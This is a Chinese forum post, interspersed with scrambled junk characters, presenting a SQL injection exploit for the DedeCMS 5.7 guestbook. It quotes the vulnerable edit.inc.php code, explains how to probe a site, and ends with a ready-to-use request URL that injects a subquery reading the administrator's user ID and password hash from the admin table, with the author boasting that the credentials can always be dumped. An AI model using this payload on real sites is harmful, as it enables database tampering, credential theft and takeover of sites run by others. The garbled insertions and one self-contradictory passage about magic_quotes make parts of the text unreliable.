影响版本为5.7
" i5 C( E7 U' q/ Z, M9 g# s3 W0 j ]0 t6 v8 v& L
漏洞文件edit.inc.php具体代码:
1 s$ T0 @0 I4 e$ a6 X/ u0 f3 u. U. c: L4 n9 t5 \& _- Z2 W ?
< ?php ) c. _2 ~- I# s9 x' o7 G8 U
* Y6 L) V% A3 `$ f# g2 U5 Tif(!defined('DEDEINC')) exit('Request Error!'); * Y2 k6 v& }/ U* h* |2 D
1 z' w( q& q; ~: C
- M2 N Z: k( m. f: }$ A- z
5 i& w K' g5 dif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
6 Y& d, {* I' B! c8 _
0 K1 f, M3 S& g; H3 e( X) e# Ielse $GUEST_BOOK_POS = "guestbook.php";
, R( U+ b4 s" e& q$ z* X4 `7 \. j( F) s# g! w; Y; w3 H) h' d
% N% B/ x' D+ O' E$ l% w! g7 M8 S
! [7 k$ t3 W* l$id = intval($id);
# S8 g% R$ ]! y
5 z1 q6 K6 W. T& ~) `; h+ P- _1 Pif(empty($job)) $job='view'; & J% X9 G! I( w9 a$ |+ C( p
- g, l# }5 [# G# o) t
7 ^8 e: x) ]$ d& \& c# g
! `% L v9 N' y7 T- l3 s: zif($job=='del' && $g_isadmin)
, s/ S/ t1 j" S" v2 E$ R2 k: m$ Z8 A
{ . S# }! u2 g) c( Z& H8 E
! {$ P7 t' B/ W! [+ L! y% d
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); / [4 U- e, u# g) M. b
% L% n, N! K. ], s5 DShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
7 f8 M. ?, Q4 V* e6 a2 i
3 x0 y, ^! H M) L2 Wexit(); X2 _; B( w9 b# J1 ?9 O% e2 w |
/ @% M2 H6 b* {) V
}
9 e% G5 j! C3 { X8 p$ @! X& W6 Z8 O Z+ p; I% F
else if($job=='check' && $g_isadmin)
: j( x9 I6 ^( E- r0 \
. B p% l5 B |5 a" s' H% r6 ~9 e{ 2 k5 t& e' O% p g
; ~* S9 T2 H& o- e$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
' M3 J3 N5 E( e' E I
+ Y$ `: L& t" @ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
0 j( m) Y" Q7 t' n- t. g& e- @3 ]+ t- M% B, ^
exit();
) M0 z' X- q- X, _1 r( T, s, Q, P# m5 o$ c/ v+ \2 }, h
}
! S+ Q/ V+ D% Z3 K; [" {
# F' x" I; {" b- F# \else if($job=='editok')
) F- Q9 K* f0 t6 G1 c
( _- ^3 T5 G& W0 k" `# B$ c{
/ }' v! a& Y3 {9 r, W9 m/ P5 k. e* k$ J- F1 J/ D* @
$remsg = trim($remsg); 0 K* M8 y# g) v- J( P
! A+ o: ]# w. x" v+ w b5 Oif($remsg!='') 6 u6 g: T! n% W# g
9 S' }2 O" m1 Y+ G$ }- e( H8 Q{ ! l6 l' V7 _& O" ^* S: o0 b
$ x& _: L# U. U/ v//管理员回复不过滤HTML By:Errorera blog:errs.cc g. p$ r- M, P/ | Z' Y
0 d$ U, s! I4 A( o
if($g_isadmin)
8 d4 H+ i K% V+ P m. j& N% j+ X1 @$ Q3 d
{
, S9 c: A: W, w. o
; W+ I' [* ]# A8 n* D$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
; f/ i: ]0 s$ q- J+ R% `. ~$ l
7 _1 P' g+ k$ p0 z/ e//$remsg <br /><font color=red>管理员回复:</font> }
5 \, \) X7 Q# m! o# J( G1 D- v4 S' q" y4 e( g! ^) D: {
else ; H* N, \; y& o* o: z. `0 p
: {1 I" _- C6 r7 r{
2 T' Z9 p3 j6 ]1 J# `
* e* U. ~1 T0 M& c6 ^' a" D$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); 4 O4 e! f' J( j8 [$ s% m. ^% m
3 c' ] S. L9 y4 M8 r" D$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; ) W; d+ s. C$ o& A# O0 ?* c( D
8 Z$ x, H6 }( L$remsg = trimMsg(cn_substrR($remsg, 1024), 1); , z& T9 t; P# g8 x& N/ n3 ^
/ ~& [" @4 e2 X0 p$ F
$msg = $oldmsg.$remsg; 7 ?$ Z0 ]8 L+ Y
" x! P* E. F a$ _ Y( ]} * H; c4 w4 J, O- u' U, A4 z6 a8 }
- o6 N$ u4 T' v
}
5 Y: Z' H- ]# l+ x# A' K
1 A( i( Y, E- `7 j//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc 3 a, f$ m/ A, m5 | u' V1 e2 _8 }" g( v
+ o+ d$ n1 V" ^; }) c
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); 2 ]6 B% Z: w# c
9 e$ _; L8 a% m! ~8 u8 S
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); % |' h- O& j I
' M( W3 `6 e6 H6 L l6 p
exit(); 9 S+ A I3 {$ l
* k( x7 ?5 R: A& h' g1 E6 x$ J
} & Q) Q2 m- f; W$ E
2 L' t; g: x) \3 R: [//home:www.errs.cc
# g) P, L4 t' O' Q
8 z* `4 p3 ]0 N. ~1 ^if($g_isadmin) % [; _2 G( s0 `4 H! w
' L$ u$ c* a0 `* R{ 5 l3 Y; g0 f( |. y: H% L: V Q
6 A' N* X' H* J2 t$ I/ A& t. O) E
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); # w& X% c7 g# {& Y3 V
, ~+ Z! z4 h: G0 ?% W
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); 1 e9 H6 p: o1 i
4 ?3 I; v/ X& C% K1 \& F& {
} 2 m- Q7 q" b# q5 Q3 y
3 G" b8 u& ^& D1 h
else
; \7 H' A' |. K0 a; ?! R. ?% `+ S% m k& v
{ + `. H2 s2 |) J8 J$ j
8 E' B: ~1 ]' {
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); - f3 E0 K4 c7 t' ~' Y/ i$ N
! o' ?$ O2 {, M! d" F
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); / T! |' Y8 U/ ~% d0 k' D- b6 d
k' v- T3 ^, ?/ |* M3 C} 漏洞成功需要条件:3 s& j' \! O! Z) u2 [- M
1. php magic_quotes_gpc=off
5 U+ g8 r. v5 V0 g6 P# Q8 ^2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。" y# ?! p' s( }8 v
8 E$ ]& M* `6 E" w怎么判断是否存在漏洞:+ h) @" H" N& j
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
1 U. i/ a" r, x9 d$ u然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
, m5 A2 M" H, ^% M; h2 w2 G L访问:
6 R) i. j: n8 g3 B" \
8 ?' h$ A% E' Vwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
5 c1 ]$ V9 z) t" Q# h: |0 d跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
( q/ W' H4 w# A, C0 D: P0 A
7 [7 r" [& n$ c4 F* H# U4 X8 M/ v6 s! ~+ ?* ]% p% h- A8 f' `
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
2 z& o! C# a0 C如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
8 k9 g* B8 n G% ^- h那么再次访问' k9 ^* W- X. C
8 z, d; k1 Q) ?7 {4 w2 kwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().: q8 F+ `' [# h9 ^. `# D
* K7 J& O4 h/ }( K5 O大概利用就是这样,大家有兴趣的多研究下!!8 J3 A6 t: q# ?4 G$ K$ \. d( o6 m
7 J2 c% B/ }0 P. K1 }: V最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!4 V- c( c% d; N* U! r! A1 M
. ]1 s6 ~; f1 P( v6 y
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |